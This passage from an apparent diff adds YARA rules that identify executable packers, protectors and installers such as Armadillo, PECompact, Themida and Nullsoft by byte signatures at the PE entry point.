+			$a0 = { EB 03 ?? ?? ?? E8 ?? ?? ?? ?? EB 02 ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 20 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 01 ?? E8 ?? ?? ?? ?? EB 01 ?? EB 02 ?? ?? 58 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 01 ?? E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASProtectv123RC1
+	{
+	strings:
+			$a0 = { 68 01 ?? ?? 00 E8 01 00 00 00 C3 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PUNiSHERv15DEMOFEUERRADERAHTeam
+	{
+	strings:
+			$a0 = { EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 81 2C 24 CA C2 41 00 EB 04 64 6B 88 18 5D E8 00 00 00 00 EB 04 64 6B 88 18 81 2C 24 86 00 00 00 EB 04 64 6B 88 18 8B 85 9C C2 41 00 EB 04 64 6B 88 18 29 04 24 EB 04 64 6B 88 18 EB 04 64 6B 88 18 8B 04 }
+	$a1 = { EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 81 2C 24 CA C2 41 00 EB 04 64 6B 88 18 5D E8 00 00 00 00 EB 04 64 6B 88 18 81 2C 24 86 00 00 00 EB 04 64 6B 88 18 8B 85 9C C2 41 00 EB 04 64 6B 88 18 29 04 24 EB 04 64 6B 88 18 EB 04 64 6B 88 18 8B 04 24 EB 04 64 6B 88 18 89 85 9C C2 41 00 EB 04 64 6B 88 18 58 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78 C2 50 00 EB D3 5B F3 68 89 5C 24 48 5C 24 58 FF 8D 5C 24 58 5B 83 C3 4C 75 F4 5A 8D 71 78 75 09 81 F3 EB FF 52 BA 01 00 83 EB FC 4A FF 71 0F 75 19 8B 5C 24 00 00 81 33 50 53 8B 1B 0F FF C6 75 1B 81 F3 EB 87 1C 24 8B 8B 04 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 58 EB FF F0 EB FF C0 83 E8 FD EB FF 30 E8 C9 00 00 00 89 E0 EB FF D0 EB FF 71 0F 83 C0 01 EB FF 70 F0 71 EE EB FA EB 83 C0 14 EB FF 70 ED }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	rule PECompactv140b2v140b4
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 86 11 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NullsoftInstallSystemv198
+	{
+	strings:
+			$a0 = { 83 EC 0C 53 56 57 FF 15 2C 81 40 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CryptoLockv202EngRyanThian
+	{
+	strings:
+			$a0 = { 60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 }
+	$a1 = { 60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 }
+	$a2 = { 60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point) or $a2 at (pe.entry_point)
+	}
+	
+	
+	rule vfpexeNcv600WangJianGuo
+	{
+	strings:
+			$a0 = { 60 E8 01 00 00 00 63 58 E8 01 00 00 00 7A 58 2D 0D 10 40 00 8D 90 C1 10 40 00 52 50 8D 80 49 10 40 00 5D 50 8D 85 65 10 40 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule XPEORv099b
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 5D 8B CD 81 ED 7A 29 40 00 89 AD 0F 6D 40 00 }
+	$a1 = { E8 ?? ?? ?? ?? 5D 8B CD 81 ED 7A 29 40 ?? 89 AD 0F 6D 40 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule PEiDBundlev100BoBBobSoft
+	{
+	strings:
+			$a0 = { 60 E8 21 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PeCompact2253276BitSumTechnologies
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? 55 53 51 57 56 52 8D 98 C9 11 00 10 8B 53 18 52 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 5A 8B F8 50 52 8B 33 8B 43 20 03 C2 8B 08 89 4B 20 8B 43 1C 03 C2 8B 08 89 4B 1C 03 F2 8B 4B 0C 03 CA 8D 43 1C 50 57 56 FF }
+
+	condition:
+			$a0
+	}
+	
+	rule PseudoSigner02CodeLockAnorganix
+	{
+	strings:
+			$a0 = { 43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv100Engdulekxt
+	{
+	strings:
+			$a0 = { BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01BorlandDelphi50KOLMCKAnorganix
+	{
+	strings:
+			$a0 = { 55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FlyCrypter10ut1lz
+	{
+	strings:
+			$a0 = { 53 56 57 55 BB 2C ?? ?? 44 BE 00 30 44 44 BF 20 ?? ?? 44 80 7B 28 00 75 16 83 3F 00 74 11 8B 17 89 D0 33 D2 89 17 8B E8 FF D5 83 3F 00 75 EF 83 3D 04 30 44 44 00 74 06 FF 15 58 30 44 44 80 7B 28 02 75 0A 83 3E 00 75 05 33 C0 89 43 0C FF 15 20 30 44 44 80 7B 28 01 76 05 83 3E 00 74 22 8B 43 10 85 C0 74 1B FF 15 18 30 44 44 8B 53 10 8B 42 10 3B 42 04 74 0A 85 C0 74 06 50 E8 2F FA FF FF FF 15 24 30 44 44 80 7B 28 01 75 03 FF 53 24 80 7B 28 00 74 05 E8 35 FF FF FF 83 3B 00 75 17 83 3D 10 ?? ?? 44 00 74 06 FF 15 10 ?? ?? 44 8B 06 50 E8 51 FA FF FF 8B 03 56 8B F0 8B FB B9 0B 00 00 00 F3 A5 5E E9 73 FF FF FF 5D 5F 5E 5B C3 A3 00 30 44 44 E8 26 FF FF FF C3 }
+	$a1 = { 55 8B EC 83 C4 F0 53 B8 18 22 44 44 E8 7F F7 FF FF E8 0A F1 FF FF B8 09 00 00 00 E8 5C F1 FF FF 8B D8 85 DB 75 05 E8 85 FD FF FF 83 FB 01 75 05 E8 7B FD FF FF 83 FB 02 75 05 E8 D1 FD FF FF 83 FB 03 75 05 E8 87 FE FF FF 83 FB 04 75 05 E8 5D FD FF FF 83 FB 05 75 05 E8 B3 FD FF FF 83 FB 06 75 05 E8 69 FE FF FF 83 FB 07 75 05 E8 5F FE FF FF 83 FB 08 75 05 E8 95 FD FF FF 83 FB 09 75 05 E8 4B FE FF FF 5B E8 9D F2 FF FF 90 }
+
+	condition:
+			$a0 or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakePECompact14xemadicius
+	{
+	strings:
+			$a0 = { EB 06 68 2E A8 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule muckisprotectorIImucki
+	{
+	strings:
+			$a0 = { E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 00 00 00 31 C0 89 41 14 89 41 18 80 6A 00 E8 85 C0 74 12 64 8B 3D 18 00 00 00 8B 7F 30 0F B6 47 02 85 C0 74 01 C3 C7 04 24 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2 F7 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule VcasmProtector10
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NullsoftInstallSystemv20b2v20b3
+	{
+	strings:
+			$a0 = { 83 EC 0C 53 55 56 57 FF 15 ?? 70 40 00 8B 35 ?? 92 40 00 05 E8 03 00 00 89 44 24 14 B3 20 FF 15 2C 70 40 00 BF 00 04 00 00 68 ?? ?? ?? 00 57 FF 15 ?? ?? 40 00 57 FF 15 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VProtectorV10Dvcasm
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 CA 31 41 00 68 06 32 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule GardianAngel10
+	{
+	strings:
+			$a0 = { 06 8C C8 8E D8 8E C0 FC BF ?? ?? EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule eXpressorv12CGSoftLabs
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RSCsProcessPatcherv14
+	{
+	strings:
+			$a0 = { E8 E1 01 00 00 80 38 22 75 13 80 38 00 74 2E 80 38 20 75 06 80 78 FF 22 74 18 40 EB ED 80 38 00 74 1B EB 19 40 80 78 FF 20 75 F9 80 38 00 74 0D EB 0B 40 80 38 00 74 05 80 38 22 74 00 8B F8 B8 04 60 40 00 68 00 20 40 00 C7 05 A2 20 40 00 44 00 00 00 68 92 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Armadillov190b1
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 E0 C1 40 00 68 04 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule Armadillov190b2
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 F0 C1 40 00 68 A4 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov190b3
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 08 E2 40 00 68 94 95 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv110EngdulekxtBorlandDelphiMicrosoftVisualCASM
+	{
+	strings:
+			$a0 = { EB 02 CD 20 EB 02 CD 20 EB 02 CD 20 C1 E6 18 BB 80 ?? ?? 00 EB 02 82 B8 EB 01 10 8D 05 F4 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Thinstall25xxJtit
+	{
+	strings:
+			$a0 = { 55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? 1A 00 00 B9 ?? 1A 00 00 BA ?? 1B 00 00 BE 00 10 00 00 BF ?? 53 00 00 BD ?? 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? ?? 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10 }
+	$a1 = { 55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? 1A 00 00 B9 ?? 1A 00 00 BA ?? 1B 00 00 BE 00 10 00 00 BF ?? 53 00 00 BD ?? 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? ?? 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 3B F1 7C 04 3B F2 7C 02 89 2E 83 C6 04 3B F7 7C E3 58 50 68 00 00 40 00 68 80 5A }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule hmimysPacker10hmimys
+	{
+	strings:
+			$a0 = { 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ACProtectV20risco
+	{
+	strings:
+			$a0 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? C3 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackV112V114LZMA430ap0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? 60 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule JDPack
+	{
+	strings:
+			$a0 = { 60 E8 ?? ?? ?? ?? 5D 8B D5 81 ED ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 81 EA 06 ?? ?? ?? 89 95 ?? ?? ?? ?? 83 BD 45 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PESpinv1304Cyberbob
+	{
+	strings:
+			$a0 = { EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ScObfuscatorSuperCRacker
+	{
+	strings:
+			$a0 = { 60 33 C9 8B 1D ?? ?? ?? ?? 03 1D ?? ?? ?? ?? 8A 04 19 84 C0 74 09 3C ?? 74 05 34 ?? 88 04 19 41 3B 0D ?? ?? ?? ?? 75 E7 A1 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? 61 FF 25 ?? ?? ?? ?? 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule tElock098SpecialBuildforgotheXer
+	{
+	strings:
+			$a0 = { E9 99 D7 FF FF 00 00 00 ?? ?? ?? ?? AA ?? ?? 00 00 00 00 00 00 00 00 00 CA }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01DEF10Anorganix
+	{
+	strings:
+			$a0 = { BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02REALBasicAnorganix
+	{
+	strings:
+			$a0 = { 55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov260c
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 40 ?? ?? ?? 68 F4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 F4 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov260a
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 94 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 B4 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ThemidaWinLicenseV10XV17XDLLOreansTechnologies
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? ?? ?? ?? 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 00 E9 83 E9 ?? 89 48 01 61 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule eXPressor12CGSoftLabs
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NeoLitev10
+	{
+	strings:
+			$a0 = { 8B 44 24 04 8D 54 24 FC 23 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 50 FF 25 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeBundlev30standardloader
+	{
+	strings:
+			$a0 = { 00 00 00 00 60 BE 00 B0 42 00 8D BE 00 60 FD FF C7 87 B0 E4 02 00 31 3C 4B DF 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ProtectionPlusvxx
+	{
+	strings:
+			$a0 = { 50 60 29 C0 64 FF 30 E8 ?? ?? ?? ?? 5D 83 ED 3C 89 E8 89 A5 14 ?? ?? ?? 2B 85 1C ?? ?? ?? 89 85 1C ?? ?? ?? 8D 85 27 03 ?? ?? 50 8B ?? 85 C0 0F 85 C0 ?? ?? ?? 8D BD 5B 03 ?? ?? 8D B5 43 03 ?? ?? E8 DD ?? ?? ?? 89 85 1F 03 ?? ?? 6A 40 68 ?? 10 ?? ?? 8B 85 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptorV22Xsoftcompletecom
+	{
+	strings:
+			$a0 = { FF E0 E8 04 00 00 00 FF FF FF FF 5E C3 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ThinstallVirtualizationSuite30353043ThinstallCompany
+	{
+	strings:
+			$a0 = { 9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule PseudoSigner01CrunchPEHeuristicAnorganix
+	{
+	strings:
+			$a0 = { 55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv120EngdulekxtBorlandC
+	{
+	strings:
+			$a0 = { C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXEPACKv405v406
+	{
+	strings:
+			$a0 = { 8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 06 ?? ?? 8E C0 8B 0E ?? ?? 8B F9 4F 8B F7 FD F3 A4 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PeStubOEPv1x
+	{
+	strings:
+			$a0 = { 90 33 C9 33 D2 B8 ?? ?? ?? 00 B9 FF }
+	$a1 = { E8 05 00 00 00 33 C0 40 48 C3 E8 05 }
+
+	condition:
+			$a0 or $a1
+	}
+	
+	
+	rule EXEShieldv01bv03bv03SMoKE
+	{
+	strings:
+			$a0 = { E8 04 00 00 00 83 60 EB 0C 5D EB 05 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEArmor049Hying
+	{
+	strings:
+			$a0 = { 56 52 51 53 55 E8 15 01 00 00 32 ?? ?? 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv14x
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PocketPCSHA
+	{
+	strings:
+			$a0 = { 86 2F 96 2F A6 2F B6 2F 22 4F 43 68 53 6B 63 6A 73 69 F0 7F 0B D0 0B 40 09 00 09 D0 B3 65 A3 66 93 67 0B 40 83 64 03 64 04 D0 0B 40 09 00 10 7F 26 4F F6 6B F6 6A F6 69 0B 00 F6 68 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 22 4F F0 7F 0A D0 06 D4 06 D5 0B 40 09 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule eXPressorV1451CGSoftLabs
+	{
+	strings:
+			$a0 = { 55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Thinstall25
+	{
+	strings:
+			$a0 = { 55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A7 1A 00 00 B9 6C 1A 00 00 BA 20 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD EC 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SuckStopv111
+	{
+	strings:
+			$a0 = { EB ?? ?? ?? BE ?? ?? B4 30 CD 21 EB ?? 9B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DEFv10
+	{
+	strings:
+			$a0 = { BE ?? 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 }
+	$a1 = { BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? 10 40 00 C3 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1
+	}
+	
+	
+	rule UnnamedScrambler251Beta2252p0ke
+	{
+	strings:
+			$a0 = { 55 8B EC B9 ?? 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? ?? 40 00 E8 ?? EA FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 BA ?? ?? 40 00 B8 ?? ?? 40 00 E8 63 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? ?? FF FF BA ?? ?? 40 00 8B C3 8B 0D ?? ?? 40 00 E8 ?? ?? FF FF C7 05 ?? ?? 40 00 0A 00 00 00 BB ?? ?? 40 00 BE ?? ?? 40 00 BF ?? ?? 40 00 B8 ?? ?? 40 00 BA 04 00 00 00 E8 ?? EB FF FF 83 3B 00 74 04 33 C0 89 03 8B D7 8B C6 E8 0A F3 FF FF 89 03 83 3B 00 0F 84 F7 04 00 00 B8 ?? ?? 40 00 8B 16 E8 ?? E1 FF FF B8 ?? ?? 40 00 E8 ?? E0 FF FF 8B D0 8B 03 8B 0E E8 ?? ?? FF FF 8B C7 A3 ?? ?? 40 00 8D 55 EC 33 C0 E8 ?? D3 FF FF 8B 45 EC B9 ?? ?? 40 00 BA ?? ?? 40 00 E8 8B ED FF FF 3C 01 75 2B A1 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Crunchv40
+	{
+	strings:
+			$a0 = { EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PrivateEXEProtector18SetiSoft
+	{
+	strings:
